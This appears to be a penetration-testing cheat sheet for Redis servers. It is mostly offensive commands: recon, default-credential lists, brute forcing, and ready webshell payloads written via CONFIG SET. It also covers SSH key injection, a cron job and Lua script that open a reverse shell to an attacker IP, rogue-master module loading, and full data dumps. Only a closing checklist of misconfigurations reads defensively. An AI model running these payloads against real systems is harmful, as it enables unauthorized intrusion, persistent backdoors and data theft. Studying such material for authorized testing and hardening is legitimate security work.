Redis

`Default Port: 6379`

Redis, an open-source tool licensed under BSD, functions as an in-memory data structure store, renowned for its key-value storage system and support for diverse data types. It serves multiple roles such as a database, caching layer, and message broker. Although it typically communicates via a simple, plaintext protocol, it's important to emphasize its ability to secure communications with SSL/TLS encryption.

Granting `unauthenticated access` to Redis or utilizing `common credentials` can pose significant security risks, potentially exposing sensitive data and transactions to unauthorized users.

Connect

Connect Using redis-cli Command

```
redis-cli -h <hostname> -p <port-number> --user <username> -a <password>

#port number is optional
#username is optional
#password is optional
```

URL

The Redis connection URL is a line containing all the information necessary for an application to connect to a Redis database. A typical format is as follows:

```
redis://:<password>@<hostname>:<port>
```

Recon

Service Detection with Nmap

Use Nmap to detect Redis services and identify server capabilities.

```
nmap -p 6379 target.com
```

Banner Grabbing

Connect to Redis services to gather version and service information.

Using netcat

```
nc -nv target.com 6379
```

Using nmap

```
nmap -p 6379 -sV target.com
```

Enumeration

Redis Server Assessment

Use specialized tools for Redis server enumeration and vulnerability assessment.

```
use auxiliary/scanner/redis/redis_server
msf auxiliary(scanner/redis/redis_server) > set rhosts target.com
msf auxiliary(scanner/redis/redis_server) > exploit
```

Attack Vectors

Passwordless Authentication

Redis allows users to connect to a server without needing a specific identity by utilizing a passwordless login feature. This method is commonly employed for accessing or downloading public files.

```
redis-cli -h target.com
```

Default and Weak Credentials

Redis installations often retain default or weak credentials for system accounts.

```
redis-cli -h target.com --user <username> -a <password>

# Common credentials to try:
# admin:admin
# administrator:administrator
# root:root
# user:user
# test:test
# redis:redis
```

Brute Force Attack

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system. Tools like Hydra are designed for cracking into networks and can be used on services like Redis.

Using Hydra

```
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port]
redis://target.com
```

Using Nmap

Using Metasploit

```
use auxiliary/scanner/redis/redis_login
msf auxiliary(scanner/redis/redis_login) > set rhosts target.com
msf auxiliary(scanner/redis/redis_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/redis/redis_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/redis/redis_login) > set stop_on_success true
msf auxiliary(scanner/redis/redis_login) > exploit
```

Post-Exploitation

Webshell Upload via Redis

Upload webshells to web directories using Redis file write capabilities.

```
# Method 1: PHP webshell
redis-cli -h target.com
> flushall
> set shell '<?php system($_REQUEST["cmd"]); ?>'
> config set dbfilename shell.php
> config set dir /var/www/html
> save

# Access: http://target.com/shell.php?cmd=whoami

# Method 2: ASP.NET webshell
> set shell '<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics"
%><%Process.Start(Request["cmd"]);%>'
> config set dbfilename shell.aspx
> config set dir C:\\inetpub\\wwwroot
> save

# Method 3: JSP webshell
> set shell '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
> config set dbfilename shell.jsp
> config set dir /var/www/html
> save
```

SSH Key Injection

Inject SSH public keys into authorized_keys files for persistent access.

```
# Generate SSH key
ssh-keygen -t rsa -f redis_key

# Prepare key with newlines
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt

# Inject into authorized_keys
redis-cli -h target.com flushall
cat key.txt | redis-cli -h target.com -x set ssh_key
redis-cli -h target.com config set dbfilename authorized_keys
redis-cli -h target.com config set dir /root/.ssh
redis-cli -h target.com save

# Alternative paths
/home/redis/.ssh/authorized_keys
/home/ubuntu/.ssh/authorized_keys
/var/lib/redis/.ssh/authorized_keys

# Connect via SSH
ssh -i redis_key root@target.com
```

Cron Job Persistence

Create persistent backdoor access using cron job injection.

```
# Create reverse shell cron job
redis-cli -h target.com
> flushall
> set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n"
> config set dbfilename root
> config set dir /var/spool/cron/crontabs
> save

# Alternative cron paths
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/redis_backdoor
```

Loading Malicious Module

Load malicious Redis modules for command execution capabilities.

```
# Redis modules allow custom commands
# Compile malicious module with system() function

# Load module
redis-cli -h target.com
> MODULE LOAD /path/to/evil.so

# Execute custom command
> evil.exec "whoami"
> evil.exec "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
```

Data Exfiltration

Extract sensitive data from Redis databases.

```
# Dump all keys and values
redis-cli -h target.com --scan > keys.txt

# Get all values
while read key; do
  echo "Key: $key"
  redis-cli -h target.com GET "$key"
done < keys.txt

# Export specific data types
redis-cli -h target.com --scan --pattern "user:*"
redis-cli -h target.com --scan --pattern "session:*"

# Full database dump
redis-cli -h target.com --rdb dump.rdb

# Bulk export
redis-cli -h target.com KEYS "*" | while read key; do
  redis-cli -h target.com DUMP "$key" > "${key}.dump"
done
```

Password Hash Extraction

Extract and manipulate Redis authentication credentials.

```
# Redis password (requirepass)
redis-cli -h target.com
> CONFIG GET requirepass

# If requirepass is set, you need to authenticate
# But if you have access, you can change it
> CONFIG SET requirepass "newpassword"

# Or remove password
> CONFIG SET requirepass ""
```

Reverse Shell via Lua Scripting

Execute system commands using Redis Lua scripting capabilities.

```
# If Lua scripting is enabled
redis-cli -h target.com

# Execute Lua script
> EVAL "return os.execute('whoami')" 0

# Reverse shell
> EVAL "return os.execute('bash -i >& /dev/tcp/attacker-ip/4444 0>&1')" 0

# Alternative with redis.call
> EVAL "redis.call('SET','shell','test'); return os.execute('id')" 0
```

Master-Slave Replication Abuse

Exploit Redis replication to load malicious modules on target systems.

```
# If you can configure replication
# Point target to attacker's rogue Redis master

# On attacker machine, run rogue Redis server
```

```
# Configure it to send malicious module

# On target
redis-cli -h target.com
> SLAVEOF attacker-ip 6379
> MODULE LOAD /path/to/evil.so

# Rogue master sends malicious module
# Target loads and executes it
```

Common Redis Commands

Command	Description	Usage
`SET`	Set key value	`SET key value`
`GET`	Get key value	`GET key`
`KEYS`	List keys	`KEYS *`
`DEL`	Delete key	`DEL key`
`FLUSHALL`	Delete all keys	`FLUSHALL`
`CONFIG GET`	Get config	`CONFIG GET *`
`CONFIG SET`	Set config	`CONFIG SET dir /tmp`
`SAVE`	Save to disk	`SAVE`
`INFO`	Server info	`INFO`
`CLIENT LIST`	List clients	`CLIENT LIST`
`SLAVEOF`	Set replication	`SLAVEOF host port`

Command	Description	Usage
`MODULE LOAD`	Load module	`MODULE LOAD /path/to/module.so`

Redis Persistence Methods

Method	File	Command	Use Case
RDB	dump.rdb	`SAVE`, `BGSAVE`	Point-in-time snapshot
AOF	appendonly.aof	`BGREWRITEAOF`	Append-only log

Useful Tools

Tool	Description	Primary Use Case
redis-cli	Redis client	Direct interaction
redis-rogue-server	Rogue Redis server	Module loading attacks
RedisModules-ExecuteCommand	RCE module	Command execution
redis-dump	Backup tool	Data extraction
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No authentication (no requirepass)
- ❌ Weak password
- ❌ Exposed to internet (bind 0.0.0.0)
- ❌ Protected mode disabled
- ❌ CONFIG command accessible
- ❌ Dangerous commands not renamed
- ❌ Lua scripting enabled
- ❌ Module loading allowed
- ❌ No SSL/TLS encryption
- ❌ Writable directories accessible
- ❌ No firewall restrictions
- ❌ Default port (6379) exposed